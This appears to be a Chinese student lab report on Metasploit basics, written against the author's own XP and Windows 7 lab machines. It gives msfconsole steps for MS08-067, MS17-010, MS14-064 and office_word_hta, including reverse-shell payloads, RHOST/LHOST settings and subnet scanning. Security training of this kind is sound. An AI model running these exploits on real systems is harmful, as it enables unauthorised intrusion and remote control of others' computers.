MSF基础应用
模块说明
exploit
这个是攻击模块,专门利用漏洞来打通连接的。之前的实验已经做出了后门,但是都需要我们手动传输到靶机并打开才行,这样的话就需要社会工程学攻击来辅助才能成功,因为别人的电脑不可能那么配合我们的。这时候就需要exploit模块来帮我们了,exploit模块可以利用漏洞帮我们把payload送到靶机。
payload
是有效载荷,后面一般加要对靶机进行攻击的代码,包含了各种各样调戏靶机的手段,可以完成对靶机的各种操作,来完成我们的攻击目的。
encode
编码器,对代码进行异或运算、去除坏字符等等,保护payload不被发现。payload明目张胆的过去肯定是要被杀的,而encode给payload整个容杀软啥的就认不出payload了,于是payload才能安心干坏事。
环境
主机:kali
靶机:windows xp SP3 english、windows 7 sp1 english
namp扫描
先给出namp常用的功能:
![](https://images2018.cnblogs.com/blog/1344748/201804/1344748-20180424173915591-514079543.png)
其实这边知道xp的ip是192.168.201.129,接着用nmap -PS 192.168.201.128来进行端口扫描,因为下面要用到ms08_067攻击模块进行攻击,所以要确保445端口是打开的,也就是可以ping通。结果发现xp防火墙打开的时候445是默认关闭的,于是把防火墙关掉再扫描可以看见445端口已经打开。这样第一步准备工作就差不多了。
利用ms08_067进行渗透
在msfconsole下search先找到这个模块并且use该模块
首先应当show targets查看该exploit模块可攻击的对象,否则可能白费功夫,我们的xp是sp3 english,可以被该模块攻击。
接下先设置payload,show payloads可以列出该攻击模块支持的payload。这里选了shell_reverse_tcp作为payload。
之后设置一些必要的options,如果不知道设置哪些东西可以先show options查看一下。对这个模块和payload只需要设置设置回连ip和监听ip就可以使用了。
set RHOST 192.168.201.129 #设置回连ip,即靶机ip set LHOST 192.168.201.128 #设置监听ip
然后exploit,大功告成
利用永恒之蓝ms17_010模块攻击win7
先挂上攻击成功的截图
大概的攻击流程如下
set payload xxx #设置payload
set RHOST xxx #设置目标ip
set LHOST xxx #设置监听ip
set smbuser xxx #设置用户名,靶机上的用户
set smbpass xxx #设置登录密码
exploit
这里用的是ms17_010_psexec模块,ms17_01还有ms17_010_eternalblue版本,当时是因为看到ms17_010_psexec模块比较新所以用它。但是这个模块还需要输入用户名密码来实现攻击,显得不是很好用。然后查了百度说是有些ms17_010_eternalblue模块可以不用输入用户名和密码来攻击,然后自己亲测了以下,从下图看出应该是没法攻击我这个系统,输了账号密码也不行,看来新版本还是靠谱一点。
用了这个漏洞感觉没想象的那么强大,还要输用户名密码,从另一个角度看来,平时用电脑啥的多设置一个密码真是好习惯。这个模块提供了一个类似字典暴力破的东西,可以通过管道输入一堆用户名用于测试来打通连接。所以类似“Administrator+空密码”这类用户就得遭殃了。
能想到用这个漏洞是因为在用openvas扫描后发现提示smb漏洞攻击成功率很高,所以去msfconsole里面search了一下就找到了。本来这个漏洞是希望拿来攻击win10的,不过不行,target提示错误了。于是又拿去win7试了一下打通了。
openvas的安装和使用老师的文档里讲的很清楚,这里不作赘述。
如果要更好的利用这个漏洞,可以利用smb_ms17_010辅助模块来扫描可以攻击的ip,这个辅助模块在一定程度上弥补了需要用户名密码的缺陷。
use auxiliary/scanner/smb/smb_ms17_010 set RHOSTS 192.168.201.0/24 #扫描192.168.201.0-192.168.201.255的ip run
利用ms14_064针对浏览器攻击
这个模块是通过search browser随便找出的一个,之前试了好几个都不好用。还在exploit-db上下载了一个比较新的,因为是适用火狐44.0.2的,还特意下了,结果搞了半天出不了结果。
这些模块用起来都差不多:
set SRVHOST xxx #自己的ip
set payload xxx #选一个合适的payload
set LHOST xxx #自己的ip
exploit
和前面的主动攻击不同的是需要在靶机上访问生成的url,如上图所示,这个url可以自己设置。然后在xp系统中打开ie,输入url访问,在kali的msfconsole下就可以看到结果了,如下图。
这个漏洞targets里面说可以攻击xp和win 7,不过亲测只有xp能通。
利用office_word_hta模块攻击win7
在windows/fileformat下面翻了好久找到这么一个好用的模块,也是为了满足试验要求。
看这个模块的options可以发现参数都有默认配置,其实直接就可以用,要改也只需要改一下SRVHOST就可以。
然后在win7上访问下图中的url测试,渗透成功。
show options就可以知道应该配置哪些选项
exploit-db上导入模块
首先在exploit-db上找到自己需要的模块并下载,一般只有标有meterpreter下下来才是可以导入的.rb文件。找到meterpreter的module的路径,只需要把.rb文件放到module里面然后msfconsole重新导入就可以了,不过最好可以新建一个文件夹专门放自己的module。
拷贝进去之后打开msfconsle,
msf> reload_all
结束后可以use测试一下。
实验体会
这次实验刚开始有点不知从何下手,听老师说的去exploit-db上找个攻击win10的模块,不装xp。结果忙活了大半天试了几个啥反应都没有,最后还是放弃win10转战win7和xp。
我先是下了一个Exodus Wallet (ElectronJS Framework) - Remote Code Execution (Metasploit),操作感觉都ok,可是到最后win10浏览器打开链接出现几个提示就没反应了。后面又试了一个针对firefox浏览器44.0.2版本的攻击,按它说明是windows平台点开链接浏览器会崩并打开calc.exe,然而我自己试确实浏览器崩了啥反应没有。。。
然后我就装了xp照着实验指导用ms08_067模块试了一下,没几下就搞定了。对比之前最大的感受就是这些meterpreter装好的模块的说明很详细,基本上随便一个模块show targets + show options +show payloads就可以直接用了,不行再打开.rb文件里面看注释也挺详细的。可是exploit-db上的帮助和targets啥的根本看不出什么东西,出错了报错也不完善,估计是别人刚开发就传上去了,对新手太不友好了。
xp成功后我又开始对win10有想法了,然后利用端口扫描看打开的端口。针对这几个端口我又测试了几个模块,依然gg,可是又觉得xp现在的使用率已经很低了,于是装了个win7开搞。
然后用之前对win10用过的模块在win7上面试了一下,结果就成功了,看来还是要跟着时代走,该更新还是要更新。
我觉得这次实验其实难点根本就不再攻击模块的使用,能否用好辅助模块反而更关键。如果把辅助模块用好了,就能少走很多弯路,避免很多不必要的工作。还有漏洞扫描工具openvas我是做了一半才去使用它的,现在看来第一步就应该拿这个扫一遍,应该拿什么模块攻击search一下全出来了。
做了这次实验感觉要实现局域网内的攻击是比较容易的,听了老师对网络通信的一个介绍后,感觉要黑外网的电脑太难了,除非能把各个网关都黑掉,基本只能钓鱼等着用户自己去点。反过来看只要我们不点不良链接,提高网络安全意识,要被黑客给黑到真的是很难的。同时应该注意到局域网的安全性不是那么有保障,应该少连一些路边wifi,免得啥时候被黑了都不知道,还有就是操作系统的更新、漏洞的修复真的有用啊,我要是不更新win10,能是下面这个结果吗(192.168.201.1就是我的win10),win7都不用下了。